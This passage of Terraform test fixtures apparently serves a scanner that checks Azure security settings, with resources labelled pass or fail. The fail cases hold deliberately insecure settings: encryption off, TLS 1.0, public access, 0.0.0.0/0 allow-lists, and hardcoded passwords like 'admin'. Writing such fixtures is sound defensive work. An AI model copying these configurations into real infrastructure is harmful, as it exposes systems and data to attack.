    "path": "tests/terraform/checks/resource/azure/example_AzureInstanceExtensions/main.tf",
    "content": "# pass\n\nresource \"azurerm_linux_virtual_machine\" \"disabled\" {\n  admin_password      = \"@Admin123\"\n  admin_username      = \"admin123\"\n  location            = azurerm_resource_group.test.location\n  name                = \"linux-vm\"\n  resource_group_name = azurerm_resource_group.test.name\n  size                = \"balls\"\n\n  source_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"0001-com-ubuntu-server-focal\"\n    sku       = \"20_04-lts\"\n    version   = \"latest\"\n  }\n\n  network_interface_ids = [\n    azurerm_network_interface.test.id\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  allow_extension_operations = false\n}\n\nresource \"azurerm_windows_virtual_machine\" \"disabled\" {\n  admin_password      = \"admin\"\n  admin_username      = \"admin123\"\n  location            = azurerm_resource_group.test.location\n  name                = \"win-vm\"\n  resource_group_name = azurerm_resource_group.test.name\n  size                = \"Standard_F2\"\n\n  network_interface_ids = [\n    \"azurerm_network_interface.test.id\"\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  allow_extension_operations = false\n}\n\n## fail\n\nresource \"azurerm_linux_virtual_machine\" \"default\" {\n  admin_password      = \"admin\"\n  admin_username      = \"admin123\"\n  location            = azurerm_resource_group.test.location\n  name                = \"linux-vm\"\n  resource_group_name = azurerm_resource_group.test.name\n  size                = \"Standard_F2\"\n\n  network_interface_ids = [\n    azurerm_network_interface.test.id\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n}\n\nresource \"azurerm_linux_virtual_machine\" \"enabled\" {\n  admin_password      = \"admin\"\n  admin_username      = \"admin123\"\n  location            = azurerm_resource_group.test.location\n  name                = \"linux-vm\"\n  resource_group_name = azurerm_resource_group.test.name\n  size                = \"Standard_F2\"\n\n  network_interface_ids = [\n    azurerm_network_interface.test.id\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  allow_extension_operations = true\n}\n\nresource \"azurerm_windows_virtual_machine\" \"default\" {\n  admin_password      = \"admin\"\n  admin_username      = \"admin123\"\n  location            = azurerm_resource_group.test.location\n  name                = \"win-vm\"\n  resource_group_name = azurerm_resource_group.test.name\n  size                = \"Standard_F2\"\n\n  network_interface_ids = [\n    azurerm_network_interface.test.id\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n}\n\nresource \"azurerm_windows_virtual_machine\" \"enabled\" {\n  admin_password      = \"admin\"\n  admin_username      = \"admin123\"\n  location            = azurerm_resource_group.test.location\n  name                = \"win-vm\"\n  resource_group_name = azurerm_resource_group.test.name\n  size                = \"Standard_F2\"\n\n  network_interface_ids = [\n    azurerm_network_interface.test.id\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  allow_extension_operations = true\n}\n\n\nresource \"azurerm_resource_group\" \"test\" {\n  name=\"test\"\n  location=\"uk south\"\n}\n\nresource \"azurerm_network_interface\" \"test\" {\n  location            = azurerm_resource_group.test.location\n  name                = \"test\"\n  resource_group_name = azurerm_resource_group.test.name\n  ip_configuration {\n    name                          = \"internal\"\n    private_ip_address_allocation = \"Dynamic\"\n  }\n}\n\nprovider \"azurerm\" {\n  features{}\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureManagedDiskEncryption/main.tf",
    "content": "resource \"azurerm_managed_disk\" \"fail\" {\n  name                 = var.disk_name\n  location             = var.location\n  resource_group_name  = var.resource_group_name\n  storage_account_type = var.storage_account_type\n  create_option        = \"Empty\"\n  disk_size_gb         = var.disk_size_gb\n  encryption_settings {\n    enabled = false\n  }\n  tags = var.common_tags\n}\n\nresource \"azurerm_managed_disk\" \"fail2\" {\n  name                 = \"acctestmd\"\n  location             = \"West US 2\"\n  resource_group_name  = azurerm_resource_group.example.name\n  storage_account_type = \"Standard_LRS\"\n  create_option        = \"Empty\"\n  disk_size_gb         = \"1\"\n\n  encryption_settings = {\n    enabled = false\n  }\n\n  tags = {\n    environment = \"staging\"\n  }\n}\nresource \"azurerm_managed_disk\" \"pass3\" {\n  name                 = var.disk_name\n  location             = var.location\n  resource_group_name  = var.resource_group_name\n  storage_account_type = var.storage_account_type\n  create_option        = \"Empty\"\n  disk_size_gb         = var.disk_size_gb\n  tags                 = var.common_tags\n}\n\nresource \"azurerm_managed_disk\" \"pass2\" {\n  name                 = var.disk_name\n  location             = var.location\n  resource_group_name  = var.resource_group_name\n  storage_account_type = var.storage_account_type\n  create_option        = \"Empty\"\n  disk_size_gb         = var.disk_size_gb\n  encryption_settings {\n    enabled = true\n  }\n  tags = var.common_tags\n}\n\nresource \"azurerm_managed_disk\" \"pass\" {\n  name                   = \"acctestmd1\"\n  location               = \"West US 2\"\n  resource_group_name    = azurerm_resource_group.example.name\n  storage_account_type   = \"Standard_LRS\"\n  create_option          = \"Empty\"\n  disk_size_gb           = \"1\"\n  disk_encryption_set_id = var.encryption_set_id\n\n  tags = {\n    environment = \"staging\"\n  }\n}\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureManagedDiskEncryptionSet/main.tf",
    "content": "\nresource \"azurerm_managed_disk\" \"fail\" {\n  name                 = \"acctestmd1\"\n  location             = \"West US 2\"\n  resource_group_name  = azurerm_resource_group.example.name\n  storage_account_type = \"Standard_LRS\"\n  create_option        = \"Empty\"\n  disk_size_gb         = \"1\"\n\n  tags = {\n    environment = \"staging\"\n  }\n}\n\nresource \"azurerm_managed_disk\" \"pass\" {\n  name                   = \"acctestmd1\"\n  location               = \"West US 2\"\n  resource_group_name    = azurerm_resource_group.example.name\n  storage_account_type   = \"Standard_LRS\"\n  create_option          = \"Empty\"\n  disk_size_gb           = \"1\"\n  disk_encryption_set_id = \"koko\"\n  tags = {\n    environment = \"staging\"\n  }\n}\n\n\nresource \"azurerm_resource_group\" \"example\" {\n  location = \"West US 2\"\n  name     = \"pike-us\"\n}\n\nprovider \"azurerm\" {\n  features{}\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureSearchAllowedIPsNotGlobal/main.tf",
    "content": "# pass\n\nresource \"azurerm_search_service\" \"default\" {\n  name                = \"example-search-service\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"standard\"\n}\n\nresource \"azurerm_search_service\" \"private\" {\n  name                = \"example-search-service\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"standard\"\n  allowed_ips         = [\"10.0.0.0/16\"]\n}\n\n# fail\n\nresource \"azurerm_search_service\" \"public\" {\n  name                          = \"example-search-service\"\n  resource_group_name           = azurerm_resource_group.example.name\n  location                      = azurerm_resource_group.example.location\n  sku                           = \"standard\"\n  allowed_ips         = [\"0.0.0.0/0\"]\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureSearchManagedIdentity/main.tf",
    "content": "\nresource \"azurerm_search_service\" \"fail\" {\n  name                          = \"example-search-service\"\n  resource_group_name           = azurerm_resource_group.example.name\n  location                      = azurerm_resource_group.example.location\n  sku                           = \"standard\"\n  public_network_access_enabled = true\n}\n\nresource \"azurerm_search_service\" \"pass\" {\n  name                          = \"example-search-service\"\n  resource_group_name           = azurerm_resource_group.example.name\n  location                      = azurerm_resource_group.example.location\n  sku                           = \"standard\"\n  public_network_access_enabled = false\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureSearchPublicNetworkAccessDisabled/main.tf",
    "content": "\nresource \"azurerm_search_service\" \"fail\" {\n  name                          = \"example-search-service\"\n  resource_group_name           = azurerm_resource_group.example.name\n  location                      = azurerm_resource_group.example.location\n  sku                           = \"standard\"\n  public_network_access_enabled = true\n}\n\nresource \"azurerm_search_service\" \"fail2\" {\n  name                = \"example-search-service\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"standard\"\n}\n\nresource \"azurerm_search_service\" \"pass\" {\n  name                          = \"example-search-service\"\n  resource_group_name           = azurerm_resource_group.example.name\n  location                      = azurerm_resource_group.example.location\n  sku                           = \"standard\"\n  public_network_access_enabled = false\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureSearchSLAIndex/main.tf",
    "content": "\nresource \"azurerm_search_service\" \"fail\" {\n  name                          = \"example-search-service\"\n  resource_group_name           = azurerm_resource_group.example.name\n  location                      = azurerm_resource_group.example.location\n  sku                           = \"standard\"\n  public_network_access_enabled = true\n}\n\nresource \"azurerm_search_service\" \"fail2\" {\n  name                = \"example-search-service\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"standard\"\n  replica_count       = 2\n}\n\nresource \"azurerm_search_service\" \"pass\" {\n  name                          = \"example-search-service\"\n  resource_group_name           = azurerm_resource_group.example.name\n  location                      = azurerm_resource_group.example.location\n  sku                           = \"standard\"\n  public_network_access_enabled = false\n  replica_count                 = 3\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureSearchSLAQueryUpdates/main.tf",
    "content": "\nresource \"azurerm_search_service\" \"fail\" {\n  name                          = \"example-search-service\"\n  resource_group_name           = azurerm_resource_group.example.name\n  location                      = azurerm_resource_group.example.location\n  sku                           = \"standard\"\n  public_network_access_enabled = true\n}\n\nresource \"azurerm_search_service\" \"fail2\" {\n  name                = \"example-search-service\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"standard\"\n  replica_count       = 1\n}\n\nresource \"azurerm_search_service\" \"pass\" {\n  name                          = \"example-search-service\"\n  resource_group_name           = azurerm_resource_group.example.name\n  location                      = azurerm_resource_group.example.location\n  sku                           = \"standard\"\n  public_network_access_enabled = false\n  replica_count                 = 2\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureServicebusDoubleEncryptionEnabled/main.tf",
    "content": "resource \"azurerm_servicebus_namespace\" \"pass\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  customer_managed_key {\n    identity_id                       = \"12345\"\n    key_vault_key_id                  = \"yadaya\"\n    infrastructure_encryption_enabled = true\n  }\n  tags = {\n    source = \"terraform\"\n  }\n}\n\nresource \"azurerm_servicebus_namespace\" \"fail\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  customer_managed_key {\n    identity_id      = \"12345\"\n    key_vault_key_id = \"yadaya\"\n  }\n  tags = {\n    source = \"terraform\"\n  }\n}\n\n\nresource \"azurerm_servicebus_namespace\" \"fail2\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  customer_managed_key {\n    identity_id                       = \"12345\"\n    key_vault_key_id                  = \"yadaya\"\n    infrastructure_encryption_enabled = false\n  }\n  tags = {\n    source = \"terraform\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureServicebusHasCMK/main.tf",
    "content": "resource \"azurerm_servicebus_namespace\" \"pass\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  customer_managed_key {\n    identity_id                       = \"12345\"\n    key_vault_key_id                  = \"yadaya\"\n    infrastructure_encryption_enabled = true\n  }\n  tags = {\n    source = \"terraform\"\n  }\n}\n\nresource \"azurerm_servicebus_namespace\" \"fail\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n\n  tags = {\n    source = \"terraform\"\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureServicebusIdentityProviderEnabled/main.tf",
    "content": "resource \"azurerm_servicebus_namespace\" \"pass\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  minimum_tls_version=\"1.2\"\n  customer_managed_key {\n    identity_id                       = \"12345\"\n    key_vault_key_id                  = \"yadaya\"\n    infrastructure_encryption_enabled = true\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n  local_auth_enabled = false\n  tags = {\n    source = \"terraform\"\n  }\n}\n\nresource \"azurerm_servicebus_namespace\" \"fail\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  minimum_tls_version=\"1.0\"\n  tags = {\n    source = \"terraform\"\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureServicebusLocalAuthDisabled/main.tf",
    "content": "resource \"azurerm_servicebus_namespace\" \"pass\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  local_auth_enabled = false\n  customer_managed_key {\n    identity_id                       = \"12345\"\n    key_vault_key_id                  = \"yadaya\"\n    infrastructure_encryption_enabled = true\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n  tags = {\n    source = \"terraform\"\n  }\n}\n\nresource \"azurerm_servicebus_namespace\" \"fail\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n\n  tags = {\n    source = \"terraform\"\n  }\n}\n\nresource \"azurerm_servicebus_namespace\" \"fail2\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n local_auth_enabled = true\n  tags = {\n    source = \"terraform\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureServicebusMinTLSVersion/main.tf",
    "content": "resource \"azurerm_servicebus_namespace\" \"pass\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  minimum_tls_version=\"1.2\"\n  customer_managed_key {\n    identity_id                       = \"12345\"\n    key_vault_key_id                  = \"yadaya\"\n    infrastructure_encryption_enabled = true\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n  local_auth_enabled = false\n  tags = {\n    source = \"terraform\"\n  }\n}\n\nresource \"azurerm_servicebus_namespace\" \"fail\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n\n  tags = {\n    source = \"terraform\"\n  }\n}\n\nresource \"azurerm_servicebus_namespace\" \"fail2\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  local_auth_enabled = true\n  minimum_tls_version=\"1.0\"\n  tags = {\n    source = \"terraform\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureServicebusPublicAccessDisabled/main.tf",
    "content": "resource \"azurerm_servicebus_namespace\" \"pass\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  minimum_tls_version=\"1.2\"\n  customer_managed_key {\n    identity_id                       = \"12345\"\n    key_vault_key_id                  = \"yadaya\"\n    infrastructure_encryption_enabled = true\n  }\n  public_network_access_enabled=false\n  identity {\n    type = \"SystemAssigned\"\n  }\n  local_auth_enabled = false\n  tags = {\n    source = \"terraform\"\n  }\n}\n\nresource \"azurerm_servicebus_namespace\" \"fail\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  minimum_tls_version=\"1.0\"\n    public_network_access_enabled=true\n  tags = {\n    source = \"terraform\"\n  }\n}\n\nresource \"azurerm_servicebus_namespace\" \"fail2\" {\n  name                = \"tfex-servicebus-namespace\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku                 = \"Standard\"\n  local_auth_enabled = true\n  tags = {\n    source = \"terraform\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureSparkPoolIsolatedComputeEnabled/main.tf",
    "content": "## SHOULD PASS: Explicit true\nresource \"azurerm_synapse_spark_pool\" \"pass\" {\n  name                = \"sparkPool1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  compute_isolation_enabled       = true\n}\n\n## SHOULD FAIL: Default false\nresource \"azurerm_synapse_spark_pool\" \"fail\" {\n  name                = \"sparkPool1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n}\n\n## SHOULD FAIL: Explicit false\nresource \"azurerm_synapse_spark_pool\" \"fail2\" {\n  name                = \"sparkPool1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  compute_isolation_enabled       = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_CDNDisableHttpEndpoints/main.tf",
    "content": "resource \"azurerm_cdn_endpoint\" \"pass\" {\n  name                      = var.cdn.name\n  profile_name              = var.cdn.profile_name\n  location                  = var.cdn.location\n  resource_group_name       = var.rg_name\n  is_http_allowed           = false\n  is_https_allowed          = true\n  origin_host_header        = var.cdn.origin_host_header\n  origin_path               = var.cdn.origin_path\n  content_types_to_compress = var.content_types_to_compress\n\n  dynamic \"origin\" {\n    for_each = var.origins\n    content {\n      name      = origin.value[\"name\"]\n      host_name = origin.value[\"host_name\"]\n    }\n  }\n}\n\nresource \"azurerm_cdn_endpoint\" \"fail\" {\n  name                      = var.cdn.name\n  profile_name              = var.cdn.profile_name\n  location                  = var.cdn.location\n  resource_group_name       = var.rg_name\n  is_http_allowed           = true\n  is_https_allowed          = false\n  origin_host_header        = var.cdn.origin_host_header\n  origin_path               = var.cdn.origin_path\n  content_types_to_compress = var.content_types_to_compress\n\n  dynamic \"origin\" {\n    for_each = var.origins\n    content {\n      name      = origin.value[\"name\"]\n      host_name = origin.value[\"host_name\"]\n    }\n  }\n}\n\nresource \"azurerm_cdn_endpoint\" \"fail2\" {\n  name                      = var.cdn.name\n  profile_name              = var.cdn.profile_name\n  location                  = var.cdn.location\n  resource_group_name       = var.rg_name\n  origin_host_header        = var.cdn.origin_host_header\n  origin_path               = var.cdn.origin_path\n  content_types_to_compress = var.content_types_to_compress\n\n  dynamic \"origin\" {\n    for_each = var.origins\n    content {\n      name      = origin.value[\"name\"]\n      host_name = origin.value[\"host_name\"]\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_CDNEnableHttpsEndpoints/main.tf",
    "content": "resource \"azurerm_cdn_endpoint\" \"pass\" {\n  name                      = var.cdn.name\n  profile_name              = var.cdn.profile_name\n  location                  = var.cdn.location\n  resource_group_name       = var.rg_name\n  is_http_allowed           = false\n  is_https_allowed          = true\n  origin_host_header        = var.cdn.origin_host_header\n  origin_path               = var.cdn.origin_path\n  content_types_to_compress = var.content_types_to_compress\n\n  dynamic \"origin\" {\n    for_each = var.origins\n    content {\n      name      = origin.value[\"name\"]\n      host_name = origin.value[\"host_name\"]\n    }\n  }\n}\n\nresource \"azurerm_cdn_endpoint\" \"fail\" {\n  name                      = var.cdn.name\n  profile_name              = var.cdn.profile_name\n  location                  = var.cdn.location\n  resource_group_name       = var.rg_name\n  is_http_allowed           = true\n  is_https_allowed          = false\n  origin_host_header        = var.cdn.origin_host_header\n  origin_path               = var.cdn.origin_path\n  content_types_to_compress = var.content_types_to_compress\n\n  dynamic \"origin\" {\n    for_each = var.origins\n    content {\n      name      = origin.value[\"name\"]\n      host_name = origin.value[\"host_name\"]\n    }\n  }\n}\n\nresource \"azurerm_cdn_endpoint\" \"pass2\" {\n  name                      = var.cdn.name\n  profile_name              = var.cdn.profile_name\n  location                  = var.cdn.location\n  resource_group_name       = var.rg_name\n  origin_host_header        = var.cdn.origin_host_header\n  origin_path               = var.cdn.origin_path\n  content_types_to_compress = var.content_types_to_compress\n\n  dynamic \"origin\" {\n    for_each = var.origins\n    content {\n      name      = origin.value[\"name\"]\n      host_name = origin.value[\"host_name\"]\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_CDNTLSProtocol12/main.tf",
    "content": "resource \"azurerm_cdn_endpoint_custom_domain\" \"pass\" {\n  name            = \"example-domain\"\n  cdn_endpoint_id = azurerm_cdn_endpoint.example.id\n  host_name       = \"${azurerm_dns_cname_record.example.name}.${data.azurerm_dns_zone.example.name}\"\n}\n\nresource \"azurerm_cdn_endpoint_custom_domain\" \"pass2\" {\n  name            = \"example-domain\"\n  cdn_endpoint_id = azurerm_cdn_endpoint.example.id\n  host_name       = \"${azurerm_dns_cname_record.example.name}.${data.azurerm_dns_zone.example.name}\"\n  cdn_managed_https {\n    certificate_type = \"dedicated\"\n    protocol_type    = \"IPBased\"\n    tls_version      = \"TLS12\"\n  }\n}\n\nresource \"azurerm_cdn_endpoint_custom_domain\" \"pass3\" {\n  name            = \"example-domain\"\n  cdn_endpoint_id = azurerm_cdn_endpoint.example.id\n  host_name       = \"${azurerm_dns_cname_record.example.name}.${data.azurerm_dns_zone.example.name}\"\n  user_managed_https {\n    tls_version              = \"TLS12\"\n    key_vault_certificate_id = \"\"\n  }\n}\n\nresource \"azurerm_cdn_endpoint_custom_domain\" \"fail\" {\n  name            = \"example-domain\"\n  cdn_endpoint_id = azurerm_cdn_endpoint.example.id\n  host_name       = \"${azurerm_dns_cname_record.example.name}.${data.azurerm_dns_zone.example.name}\"\n  user_managed_https {\n    tls_version              = \"TLS10\"\n    key_vault_certificate_id = \"\"\n  }\n}\n\nresource \"azurerm_cdn_endpoint_custom_domain\" \"fail2\" {\n  name            = \"example-domain\"\n  cdn_endpoint_id = azurerm_cdn_endpoint.example.id\n  host_name       = \"${azurerm_dns_cname_record.example.name}.${data.azurerm_dns_zone.example.name}\"\n  cdn_managed_https {\n    certificate_type = \"dedicated\"\n    tls_version      = \"None\"\n    protocol_type    = \"IPBased\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_CognitiveServicesConfigureIdentity/main.tf",
    "content": "resource \"azurerm_cognitive_account\" \"pass\" {\n  name                = \"example-account\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"Face\"\n  identity {\n    type = \"a\"\n  }\n  sku_name = \"S0\"\n\n  tags = {\n    Acceptance = \"Test\"\n  }\n}\n\nresource \"azurerm_cognitive_account\" \"fail\" {\n  name                = \"example-account\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"Face\"\n  local_auth_enabled = true\n\n  sku_name = \"S0\"\n\n  tags = {\n    Acceptance = \"Test\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_CognitiveServicesEnableLocalAuth/main.tf",
    "content": "resource \"azurerm_cognitive_account\" \"fail\" {\n  name                = \"example-account\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"Face\"\n\n  sku_name = \"S0\"\n\n  tags = {\n    Acceptance = \"Test\"\n  }\n}\n\nresource \"azurerm_cognitive_account\" \"fail2\" {\n  name                = \"example-account\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"Face\"\n  local_auth_enabled = true\n\n  sku_name = \"S0\"\n\n  tags = {\n    Acceptance = \"Test\"\n  }\n}\n\nresource \"azurerm_cognitive_account\" \"pass\" {\n  name                = \"example-account\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"Face\"\n  local_auth_enabled = false\n\n  sku_name = \"S0\"\n\n  tags = {\n    Acceptance = \"Test\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_CosmosDBHaveCMK/main.tf",
    "content": "\nresource \"azurerm_cosmosdb_account\" \"fail\" {\n  name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n  location            = azurerm_resource_group.rg.location\n  resource_group_name = azurerm_resource_group.rg.name\n  offer_type          = \"Standard\"\n  kind                = \"GlobalDocumentDB\"\n\n  enable_automatic_failover = true\n\n  capabilities {\n    name = \"EnableAggregationPipeline\"\n  }\n\n  capabilities {\n    name = \"mongoEnableDocLevelTTL\"\n  }\n\n  capabilities {\n    name = \"MongoDBv3.4\"\n  }\n\n  consistency_policy {\n    consistency_level       = \"BoundedStaleness\"\n    max_interval_in_seconds = 10\n    max_staleness_prefix    = 200\n  }\n\n  geo_location {\n    location          = var.failover_location\n    failover_priority = 1\n  }\n\n  geo_location {\n    location          = azurerm_resource_group.rg.location\n    failover_priority = 0\n  }\n}\n\nresource \"azurerm_cosmosdb_account\" \"pass\" {\n  name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n  location            = azurerm_resource_group.rg.location\n  resource_group_name = azurerm_resource_group.rg.name\n  offer_type          = \"Standard\"\n  kind                = \"GlobalDocumentDB\"\n\n  enable_automatic_failover = true\n\n  capabilities {\n    name = \"EnableAggregationPipeline\"\n  }\n\n  capabilities {\n    name = \"mongoEnableDocLevelTTL\"\n  }\n\n  capabilities {\n    name = \"MongoDBv3.4\"\n  }\n\n  consistency_policy {\n    consistency_level       = \"BoundedStaleness\"\n    max_interval_in_seconds = 10\n    max_staleness_prefix    = 200\n  }\n\n  geo_location {\n    location          = var.failover_location\n    failover_priority = 1\n  }\n\n  geo_location {\n    location          = azurerm_resource_group.rg.location\n    failover_priority = 0\n  }\n\n  key_vault_key_id = \"A versionless Key Vault Key ID for CMK encryption\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_CosmosDBLocalAuthDisabled/CosmosDBLocalAuthDisabled.tf",
    "content": "resource \"azurerm_cosmosdb_account\" \"pass\" {\n  name                          = \"pike-sql\"\n  location                      = \"uksouth\"\n  resource_group_name           = \"pike\"\n  offer_type                    = \"Standard\"\n  kind                          = \"GlobalDocumentDB\"\n  local_authentication_disabled = true\n  enable_free_tier              = true\n\n  consistency_policy {\n    consistency_level       = \"Session\"\n    max_interval_in_seconds = 5\n    max_staleness_prefix    = 100\n  }\n\n  geo_location {\n    location          = \"uksouth\"\n    failover_priority = 0\n  }\n  tags = {\n    \"defaultExperience\"       = \"Core (SQL)\"\n    \"hidden-cosmos-mmspecial\" = \"\"\n  }\n}\n\nresource \"azurerm_cosmosdb_account\" \"fail\" {\n  name                          = \"pike-sql\"\n  location                      = \"uksouth\"\n  resource_group_name           = \"pike\"\n  offer_type                    = \"Standard\"\n  kind                          = \"GlobalDocumentDB\"\n  local_authentication_disabled = false\n  enable_free_tier              = true\n\n  consistency_policy {\n    consistency_level       = \"Session\"\n    max_interval_in_seconds = 5\n    max_staleness_prefix    = 100\n  }\n\n  geo_location {\n    location          = \"uksouth\"\n    failover_priority = 0\n  }\n  tags = {\n    \"defaultExperience\"       = \"Core (SQL)\"\n    \"hidden-cosmos-mmspecial\" = \"\"\n  }\n}\n\nresource \"azurerm_cosmosdb_account\" \"fail2\" {\n  name                = \"pike-sql\"\n  location            = \"uksouth\"\n  resource_group_name = \"pike\"\n  offer_type          = \"Standard\"\n  kind                = \"GlobalDocumentDB\"\n  //local_authentication_disabled = false\n  enable_free_tier = true\n\n  consistency_policy {\n    consistency_level       = \"Session\"\n    max_interval_in_seconds = 5\n    max_staleness_prefix    = 100\n  }\n\n  geo_location {\n    location          = \"uksouth\"\n    failover_priority = 0\n  }\n  tags = {\n    \"defaultExperience\"       = \"Core (SQL)\"\n    \"hidden-cosmos-mmspecial\" = \"\"\n  }\n}\n\n## SHOULD ignore: local_authentication_disabled can only be set on SQL api - kind = \"GlobalDocumentDB\"\nresource \"azurerm_cosmosdb_account\" \"ignore\" {\n  name                          = \"cosmos-db\"\n  location                      = azurerm_resource_group.rg.location\n  resource_group_name           = azurerm_resource_group.rg.name\n  offer_type                    = \"Standard\"\n  kind                          = \"MongoDB\"\n  local_authentication_disabled = true\n\n  consistency_policy {\n    consistency_level       = \"BoundedStaleness\"\n    max_interval_in_seconds = 300\n    max_staleness_prefix    = 100000\n  }\n\n  geo_location {\n    location          = azurerm_resource_group.rg.location\n    failover_priority = 0\n  }\n}\n\n\nresource \"azurerm_cosmosdb_account\" \"ignore2\" {\n  name                          = \"cosmos-db\"\n  location                      = azurerm_resource_group.rg.location\n  resource_group_name           = azurerm_resource_group.rg.name\n  offer_type                    = \"Standard\"\n  kind                          = \"MongoDB\"\n  local_authentication_disabled = false\n\n  consistency_policy {\n    consistency_level       = \"BoundedStaleness\"\n    max_interval_in_seconds = 300\n    max_staleness_prefix    = 100000\n  }\n\n  geo_location {\n    location          = azurerm_resource_group.rg.location\n    failover_priority = 0\n  }\n}\n\n\nresource \"azurerm_cosmosdb_account\" \"ignore3\" {\n  name                = \"cosmos-db\"\n  location            = azurerm_resource_group.rg.location\n  resource_group_name = 